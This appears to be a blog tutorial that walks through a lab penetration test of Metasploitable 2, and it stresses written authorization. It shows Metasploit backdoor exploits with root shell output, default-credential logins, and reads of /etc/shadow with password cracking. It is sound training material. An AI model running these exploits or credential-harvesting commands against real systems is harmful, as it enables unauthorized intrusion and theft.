The Full Audit: A Complete Penetration Test from Start to Finish

The Hacker's Path: A 5-Part Series

Part 1: Introduction → Part 2: Flipper Mastery → Part 3: Kali Fundamentals → Part 4: Exploitation → Part 5: The Full Audit

You started this series wondering what hackers actually do. You learned that it's not about hoodies and green text. It's methodical problem-solving. You've cloned badges, mapped networks, captured handshakes, and popped shells on vulnerable machines.

Now we put it all together. This article walks you through a complete penetration test against a fictional target. Every phase, every decision, every finding, documented exactly as a professional would do it.

The Scenario

Client: Initech Labs (a fictional small tech company)

Scope: Internal network penetration test

Goal: Identify vulnerabilities and demonstrate potential business impact

Your target: Your own lab network (Kali + Metasploitable 2 + any other VMs you've set up)

Grab some coffee. This is going to be fun.

Phase 1: Pre-Engagement

Before touching a keyboard, professional pentesters handle the business side. Skip this, and you're not a penetration tester. You're just someone committing crimes.

The Scoping Call

In a real engagement, you'd have a call with the client to understand:

What's in scope? Which networks, IP ranges, applications?
What's out of scope? Production systems? Third-party services?
Testing window? When can you test? Business hours only?
Points of contact? Who do you call if something breaks?
Goals? Compliance checkbox or real security improvement?

For Your Lab

Scope: Your isolated lab network only. Out of scope: Everything else on earth. Testing window: Whenever you want. Goal: Learn by doing.

Rules of Engagement

Real engagements have written rules. Here's what they typically cover:

Authorization letter - Signed document proving you have permission
Escalation procedures - What to do if you find something critical
Data handling - How to handle sensitive data you encounter
Cleanup requirements - Remove all tools and backdoors when done
Reporting timeline - When is the final report due?

Always Get Written Permission

Even for "friendly" tests on a friend's network. A signed email saying "you have permission to test my network from DATE to DATE" could be the difference between a learning experience and a felony conviction. Take this seriously.

Phase 2: Reconnaissance

Time to learn everything about the target. In a real engagement, this would include OSINT (open source intelligence): Google searches, LinkedIn profiles, company websites, DNS records. For our lab, we jump straight to active reconnaissance.

Step 1: Network Discovery

First question: What's on this network?

bash

1# Find your network range
2ip a | grep inet
3# Look for something like: inet 192.168.56.100/24
4
5# Discover all live hosts
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# Results (example):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).

Document everything. Create a note that looks like:

text

1# Initech Labs - Network Discovery
2# Date: 2026-03-08
3# Tester: Your Name
4
5192.168.56.1   - Gateway/Router
6192.168.56.101 - Unknown (to investigate)
7192.168.56.102 - Unknown (to investigate)

Step 2: Port Scanning

Now we dig deeper. What services are running?

bash

1# Full port scan with service detection
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# This takes a while. For faster results during learning:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

On Metasploitable 2, you'll see a treasure trove:

text

1PORT     STATE SERVICE     VERSION
221/tcp   open  ftp         vsftpd 2.3.4
322/tcp   open  ssh         OpenSSH 4.7p1
423/tcp   open  telnet      Linux telnetd
525/tcp   open  smtp        Postfix smtpd
680/tcp   open  http        Apache httpd 2.2.8
7139/tcp  open  netbios-ssn Samba smbd 3.X
8445/tcp  open  netbios-ssn Samba smbd 3.X
93306/tcp open  mysql       MySQL 5.0.51a
105432/tcp open  postgresql  PostgreSQL DB
11...

Holy exposure, Batman. Let's update our notes:

text

1192.168.56.101 - Linux Server (Metasploitable)
2  - FTP (21): vsftpd 2.3.4       # Known backdoor!
3  - SSH (22): OpenSSH 4.7p1      # Ancient
4  - Telnet (23): Active           # Why does this exist in 2026?
5  - HTTP (80): Apache 2.2.8      # Web apps to test
6  - SMB (139/445): Samba 3.X     # Potential goldmine
7  - MySQL (3306): 5.0.51a        # Database access?
8  - PostgreSQL (5432): Active    # Another DB

Step 3: Vulnerability Identification

Time to see what's actually exploitable.

bash

1# Run vulnerability scripts
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Check specific services in Metasploit
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2

The vsftpd 2.3.4 backdoor immediately jumps out. That's a guaranteed shell. But a good pentester doesn't stop at the first finding. You document everything.

Server room with blinking network equipment — Thorough reconnaissance maps the entire attack surface before a single exploit is fired. Every open port and service version becomes a data point in your assessment.

Phase 3: Exploitation

Here's where things get exciting. We have multiple potential entry points. Let's systematically work through them.

Attack Vector 1: FTP Backdoor

bash

1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)

Finding documented: Root shell obtained via FTP backdoor. Time from first scan to full compromise: approximately 10 minutes.

Root shell obtained via FTP backdoor. Time from first scan to full compromise: approximately 10 minutes.

But we don't stop here. What else can we get into?

Attack Vector 2: Samba

bash

1# Background the current session
2background
3
4msf6 > use exploit/multi/samba/usermap_script
5msf6 exploit(...) > set RHOSTS 192.168.56.101
6msf6 exploit(...) > exploit
7
8[*] Command shell session 2 opened
9
10whoami
11root

Another root shell through a different vector. That's two independent paths to full compromise.

Attack Vector 3: Web Applications

Let's check what's running on port 80.

bash

1# Enumerate web directories
2gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
3
4# Results:
5/cgi-bin/     (Status: 403)
6/dav/         (Status: 301)
7/icons/       (Status: 301)
8/index        (Status: 200)
9/phpMyAdmin/  (Status: 301)
10/phpinfo      (Status: 200)
11/test/        (Status: 301)
12/twiki/       (Status: 301)
13
14# Run nikto for more findings
15nikto -h http://192.168.56.101

phpMyAdmin with default credentials? Let's check:

text

1# Try common credentials
2Username: root
3Password: (blank)
4
5# Access granted!

Database admin access with no password. From here, we could dump all data, modify records, or use MySQL's file operations to write a web shell.

Attack Vector 4: Weak SSH Credentials

bash

1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Weak credentials grant SSH access. Not root, but we'll handle that in post-exploitation.

Phase 4: Post-Exploitation

We have access. Now what? A real penetration test demonstrates business impact. What can an attacker actually DO with this access?

Credential Harvesting

bash

1# From our root shell
2cat /etc/shadow
3root:$1$xyz...truncated...:14889:0:99999:7:::
4msfadmin:$1$abc...truncated...:14889:0:99999:7:::
5user:$1$def...truncated...:14889:0:99999:7:::
6postgres:$1$ghi...truncated...:14889:0:99999:7:::
7
8# Save these for offline cracking
9cat /etc/passwd > /tmp/passwd.txt
10cat /etc/shadow > /tmp/shadow.txt
11
12# On Kali, crack them
13unshadow passwd.txt shadow.txt > combined.txt
14john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Network Reconnaissance (from Inside)

bash

1# What other networks can this machine reach?
2ifconfig
3route -n
4cat /etc/hosts
5arp -a
6
7# What's connecting to this machine?
8netstat -tulpn
9ss -tulpn
10
11# Look for SSH keys (for lateral movement)
12find / -name "id_rsa" 2>/dev/null
13find / -name "authorized_keys" 2>/dev/null

Sensitive Data Discovery

bash

1# Look for interesting files
2find / -name "*.conf" 2>/dev/null | head -20
3find / -name "*.sql" 2>/dev/null
4find / -name "*.bak" 2>/dev/null
5find / -name "*password*" 2>/dev/null
6
7# Check common config locations
8cat /var/www/*/config.php 2>/dev/null
9cat /etc/mysql/my.cnf
10
11# Database enumeration
12mysql -u root -p  # Try blank password
13mysql> SHOW DATABASES;
14mysql> SELECT * FROM mysql.user;

Privilege Escalation (from msfadmin)

Remember that SSH login as msfadmin? Let's escalate to root using what we learned in Part 4.

bash

1# SSH in as msfadmin
2ssh [email protected]
3
4# Check sudo permissions
5sudo -l
6# (Output varies, but let's check other vectors)
7
8# Find SUID binaries
9find / -perm -4000 2>/dev/null
10
11# Look for writable scripts run by root
12cat /etc/crontab
13
14# Upload and run LinPEAS for comprehensive check
15# (In real scenario, already covered in Part 4)

Professional working at a desk with cybersecurity tools — Post-exploitation demonstrates real business impact. The difference between a vulnerability scan and a penetration test is proving what an attacker can actually do with access.

Phase 5: Documentation & Findings

The test is useless without a report. This is what separates professionals from script kiddies. You need to explain what you found, why it matters, and how to fix it.